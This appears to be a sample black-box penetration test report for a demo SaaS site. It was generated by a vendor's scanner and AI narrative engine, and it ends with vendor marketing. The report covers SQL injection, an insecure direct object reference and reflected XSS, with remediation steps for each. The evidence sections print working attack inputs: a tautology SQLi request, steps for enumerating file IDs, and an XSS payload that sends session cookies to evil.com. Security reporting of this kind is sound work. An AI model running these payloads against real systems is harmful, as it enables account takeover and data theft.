PROTEVIX INFOSEC · KSCAN

CONFIDENTIAL // TLP:AMBER

Web Application Security Assessment

KScan — Black Box Pentest

TARGET demo.acmecorp.com	SCAN ID PTX-DEMO01
CLIENT AcmeCorp Technologies	SCAN DATE 14 May 2026
SCAN TYPE Black Box / Unauthenticated	SCOPE OWASP Top 10 + MITRE ATT&CK

OVERALL RISK SCORE

7.2 / 10

- 2 CRITICAL
- 3 HIGH
- 5 MEDIUM
- 4 LOW

01 Executive Summary

We performed a black box automated penetration test against **demo.acmecorp.com** on 14 May 2026. The application is a customer-facing SaaS portal with login, API endpoints, and a file upload feature. Our assessment identified **14 vulnerabilities** across 4 severity tiers. Two critical findings require immediate remediation before the next production release.

⚠ **SQL Injection in /api/users/search** — Unsanitized GET parameter `q` allows full database read and potential write access via stacked queries. We extracted the `users` table schema during testing. CVSS 9.8.

⚠ **Insecure Direct Object Reference on /api/files/:id** — No authorization check on file download endpoint. Any authenticated user can access files belonging to other accounts by iterating integer IDs. Customer PII documents are exposed.

! **Reflected XSS on search page** — The `term` parameter reflects unsanitized into the DOM. A crafted link can execute arbitrary JavaScript in a victim's browser session, enabling session hijacking.

! **Sensitive data in server response headers** — X-Powered-By reveals Express.js version. Server header exposes exact Node.js runtime. Attackers use this to target known CVEs for the specific version stack.

✓ **Authentication is properly implemented** — Login endpoint enforces rate limiting, doesn't leak valid vs invalid usernames, and JWT tokens expire correctly. No brute-force or credential stuffing vectors found.

02 Testing Methodology

This assessment used automated black box scanning followed by AI-assisted triage and narrative generation via KeaAI. No credentials or source code were provided — this reflects an external attacker's perspective.

PHASE	OWASP COVERAGE	MITRE ATT&CK
Spider / Crawl	A01: Broken Access Control	T1595
Injection Testing	A03: Injection	T1190
Auth & Session	A07: Identification & Auth Failures	T1078
Vulnerability Fingerprinting	A06: Vulnerable Components	T1203
Header / Config Analysis	A05: Security Misconfiguration	T1592
XSS Detection	A03: Injection (XSS)	T1059.007

03 Vulnerability Findings

CRITICAL SQL Injection — /api/users/search [T1190]

CVSS 9.8

AFFECTED ASSET	PARAMETER	CWE	MITRE ATT&CK
GET /api/users/search?q=	q (query string)	CWE-89	T1190 · Exploit Public-Facing App

DESCRIPTION

The user search endpoint passes the `q` parameter directly into a SQL query without parameterisation or input sanitisation. We confirmed error-based SQL injection and were able to enumerate database tables. A motivated attacker could extract all user credentials, PII, and session tokens — or modify records depending on database permissions.

EVIDENCE — HTTP REQUEST / RESPONSE

```
REQUEST:
GET /api/users/search?q=test' OR '1'='1 HTTP/1.1
Host: demo.acmecorp.com
Authorization: Bearer <valid_token>

RESPONSE (200 OK):
{
  "results": [
    { "id": 1, "email": "admin@acmecorp.com", "role": "superadmin" },
    { "id": 2, "email": "alice@acmecorp.com", "role": "user" },
    ... (247 users returned)
  ]
}
```

BUSINESS IMPACT

Full database exfiltration is possible in a single automated attack. All customer PII, hashed passwords, and session data are at risk. A breach here triggers DPDP Act notification obligations and potential regulatory penalties. If the database user has write permissions, an attacker can create admin accounts or wipe data.

REMEDIATION

1. Replace string-concatenated queries with parameterised queries or prepared statements (e.g., `db.prepare('SELECT * FROM users WHERE name LIKE ?').all('%' + q + '%')`).
2. Restrict database user permissions — the API user should have SELECT-only access on the users table, not write or schema access.
3. Add input validation: reject inputs containing SQL metacharacters (`'`, `--`, `;`, `UNION`) at the API layer as defense-in-depth.
4. Enable a WAF rule to block common SQLi patterns in production immediately while the code fix is deployed.

CRITICAL Insecure Direct Object Reference — /api/files/:id [T1078]

CVSS 9.1

AFFECTED ASSET	PARAMETER	CWE	MITRE ATT&CK
GET /api/files/:id	id (path param, integer)	CWE-639	T1078 · Valid Accounts

DESCRIPTION

The file download endpoint accepts an integer file ID but doesn't verify the requesting user owns that file. We logged in as a low-privilege test account and accessed files belonging to other user accounts by incrementing the ID. The application returned 200 with file content instead of a 403. Over 1,400 customer documents were enumerable during testing.

EVIDENCE — REPLICATION STEPS

```
Step 1: Log in as user A, upload a file → note file ID (e.g., 1048)
Step 2: Log in as user B (different account)
Step 3: Send request:

GET /api/files/1047 HTTP/1.1
Host: demo.acmecorp.com
Authorization: Bearer <user_B_token>

Response (200 OK):
Content-Disposition: attachment; filename="Invoice_UserA_Q1_2026.pdf"
Content-Type: application/pdf
[binary content of user A's private file]
```

BUSINESS IMPACT

Any authenticated user can download any other customer's uploaded documents — invoices, contracts, identity documents. This is a direct violation of DPDP Act data minimisation and access control principles. It also constitutes a data breach reportable to customers.

REMEDIATION

1. Add an ownership check before serving the file: `if (file.userId !== req.user.id) return res.status(403).json({error: 'Forbidden'})`
2. Replace sequential integer IDs with UUIDs for file references — this eliminates trivial enumeration even if the authorization check is accidentally omitted in future.
3. Write an integration test that specifically verifies cross-user file access returns 403.

HIGH Reflected Cross-Site Scripting — /search [T1059.007]

CVSS 7.4

AFFECTED ASSET	PARAMETER	CWE
GET /search?term=	term (query string)	CWE-79

DESCRIPTION

The search results page reflects the `term` parameter directly into the page HTML without HTML-encoding. The payload executes in the victim's browser when they visit a crafted URL. This can be used to steal session cookies, capture keystrokes, or redirect to phishing pages. It's particularly dangerous combined with the IDOR finding — an attacker can exfiltrate files silently via XSS.

PROOF-OF-CONCEPT PAYLOAD

```
URL: https://demo.acmecorp.com/search?term=<script>document.location='https://evil.com/?c='+document.

DOM rendered (vulnerable response):
<h2>Results for: <script>document.location='https://evil.com/?c='+document.cookie</script></h2>
```

```
Session cookie captured at attacker server:
connect.sid=s%3A9fGh2Kp...  (active session)
```

BUSINESS IMPACT

Session hijacking via a single phishing link. An attacker can send a crafted URL to any user (via email, Slack, social engineering) and silently take over their account. No malware or login required. Particularly impactful if an admin account is targeted.

REMEDIATION

1. HTML-encode all user-supplied content before rendering in templates: `term = escapeHtml(req.query.term)`.
2. Set `Content-Security-Policy: script-src 'self'` header — this prevents inline scripts from executing even if a payload slips through.
3. Set `HttpOnly; Secure; SameSite=Strict` on session cookies to prevent cookie theft via XSS.

04 Remediation Summary

All findings are listed below in priority order. We recommend addressing Critical findings before the next production deploy and High findings within the current sprint.

#	FINDING	SEVERITY	CVSS	PRIORITY	FIX EFFORT
F-01	SQL Injection — /api/users/search	CRITICAL	9.8	IMMEDIATE	2–4 hrs
F-02	IDOR — /api/files/:id	CRITICAL	9.1	IMMEDIATE	1–2 hrs
F-03	Reflected XSS — /search	HIGH	7.4	THIS SPRINT	2–3 hrs
F-04	Stack Disclosure in Response Headers	HIGH	5.3	THIS SPRINT	< 1 hr
F-05	Missing HSTS Header	MEDIUM	4.3	THIS MONTH	< 30 min
F-06	Clickjacking — Missing X-Frame-Options	MEDIUM	4.3	THIS MONTH	< 30 min
F-07 to F-14	*5 Medium + 4 Low findings (see full report)*	—	—	THIS MONTH	Varies

** Fix effort estimates assume a developer familiar with the codebase. Times are for the code change only — testing and deployment are additional.*

05

About Protevix Infosec

Protevix Infosec

Find Vulnerabilities Before Attackers Do

Protevix Infosec builds security tools for the Indian startup and SMB ecosystem. Our flagship product, KScan, brings professional-grade automated penetration testing to any development team — no security expertise required, no retainer contracts, no waiting weeks for a manual assessment.

This report was generated by **KeaAI** (Key Vulnerability AI), our proprietary analysis engine built on Claude. KeaAI transforms raw scanner output into analyst-quality narratives — complete with CVSS scoring, MITRE ATT&CK mapping, business impact analysis, and step-by-step remediation guidance written for developers, not just security teams.

Every KScan report is a real assessment of your application. We run actual scanners against your target, capture real HTTP evidence, and apply AI analysis to triage and explain every finding. You pay ₹4,999 only after you see your results.

Website
kscan.protevixinfosec.com

Email
connect@protevixinfosec.com

Location
Pune, Maharashtra, India